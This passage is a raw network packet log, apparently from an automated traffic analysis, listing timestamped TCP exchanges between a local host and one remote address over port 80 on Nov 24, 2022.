Nov 24, 2022 13:27:53.290482044 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.290519953 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.290550947 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.290576935 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.290587902 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.290601969 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.290623903 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.290637016 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.290647030 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.290671110 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.290682077 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.290695906 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.290704966 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.290720940 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.290736914 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.290755033 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.290781975 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.290806055 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.290819883 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.290831089 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.290843964 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.290911913 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.292960882 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.292989016 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.293015957 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.293042898 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.293066978 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.293076038 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.293095112 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.293119907 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.293129921 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.293143034 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.293149948 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.293169022 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.293175936 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.293194056 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.293200970 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.293219090 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.293226004 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.293245077 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.293256998 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.293272972 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.293282032 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.293303013 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.293333054 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.293339014 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.293361902 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.293382883 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.293390036 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.293401957 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.293421030 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.293426991 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.293448925 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.293457031 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.293478966 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.293499947 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.293508053 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.293519020 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.293535948 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.293546915 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.293576956 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.293607950 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.293637991 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.293648005 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.293665886 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.293678045 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.293694019 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.293710947 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.293721914 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.293751001 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.293751001 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.293771029 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.293776035 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.293797016 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.293802023 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.293812037 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.293824911 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.293837070 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.293848991 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.293863058 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.293872118 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.293886900 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.293896914 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.293910027 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.293920040 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.293937922 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.293942928 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.293966055 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.293966055 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.293987036 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.293989897 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.294006109 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.294014931 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.294024944 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.294055939 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.294121981 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.294147968 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.294176102 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.294188976 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.294202089 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.294220924 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.294229984 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.294245958 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.294256926 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.294265032 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.294281006 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.294295073 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.294306993 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.294320107 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.294332981 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.294339895 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.294361115 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.294370890 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.294390917 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.294395924 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.294434071 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.311691046 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.311722994 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.311748028 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.311773062 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.311799049 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.311801910 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.311826944 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.311830997 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.311856985 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.311861038 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.311885118 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.311913013 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.311935902 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.311943054 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.311969995 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.311970949 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.311999083 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.312000036 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.312000036 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.312026978 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.312028885 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.312047958 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.312055111 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.312064886 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.312083960 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.312098980 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.312112093 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.312134981 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.312155008 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.312175989 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.312197924 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.312218904 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.312246084 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.312261105 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.312274933 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.312298059 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.312313080 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.312335014 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.312340021 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.312355995 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.312364101 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.312382936 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.312387943 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.312403917 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.312412024 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.312423944 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.312458038 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.312465906 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.312482119 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.312504053 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.312509060 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.312529087 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.312531948 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.312550068 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.312556982 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.312571049 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.312585115 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.312597036 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.312613010 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.312639952 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.312642097 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.312663078 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.312671900 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.312688112 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.312700987 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.312730074 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.312732935 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.312760115 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.312762022 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.312789917 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.312807083 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.312807083 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.312819004 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.312835932 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.312845945 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.312864065 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.312874079 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.312886953 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.312903881 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.312916994 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.312931061 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.312953949 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.312974930 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.312995911 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.313090086 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.313158035 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.313184023 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.313209057 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.313211918 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.313234091 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.313244104 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.313257933 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.313262939 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.313282967 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.313283920 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.313303947 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.313312054 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.313328028 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.313347101 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.313369036 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.313375950 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.313386917 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.313402891 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.313414097 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.313432932 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.313441038 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.313462019 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.313472986 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.313492060 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.313502073 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.313519955 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.313530922 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.313553095 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.313558102 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.313582897 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.313612938 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.313618898 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.313632011 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.313642979 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.313662052 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.313672066 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.313703060 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.313704014 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.313724041 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.313731909 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.313751936 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.313760996 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.313771963 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.313790083 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.313818932 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.313829899 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.313843012 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.313860893 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.313868999 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.313893080 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.313894033 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.313910961 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.313918114 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.313936949 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.313954115 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.313971996 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.313994884 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.314018011 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.314019918 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.314044952 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.314049959 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.314069033 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.314080000 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.314093113 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.314116955 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.314120054 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.314142942 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.314146996 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.314169884 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.314196110 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.314196110 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.314198017 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.314209938 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.314225912 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.314237118 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.314254045 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.314280033 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.314285040 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.314301968 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.314311028 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.314332962 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.314359903 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.314363003 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.314383030 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.314389944 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.314416885 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.314419985 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.314439058 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.314444065 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.314457893 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.314475060 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.314496040 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.314506054 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.314527035 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.314548016 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.314569950 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.314591885 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.314614058 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.314615011 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.314640999 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.314652920 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.314665079 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.314687014 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.314692020 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.314713001 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.314714909 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.314728975 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.314739943 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.314760923 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.314764023 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.314788103 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.314795971 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.314811945 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.314815998 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.314836025 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.314836025 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.314860106 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.314860106 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.314891100 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.314898014 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.314903975 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.314923048 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.314949989 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.314973116 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.314977884 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.315001011 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.315002918 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.315021992 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.315030098 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.315051079 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.315057993 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.315073013 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.315087080 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.315109968 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.315114021 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.315128088 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.315141916 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.315170050 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.315170050 CET	80	49702	66.235.200.147	192.168.2.4
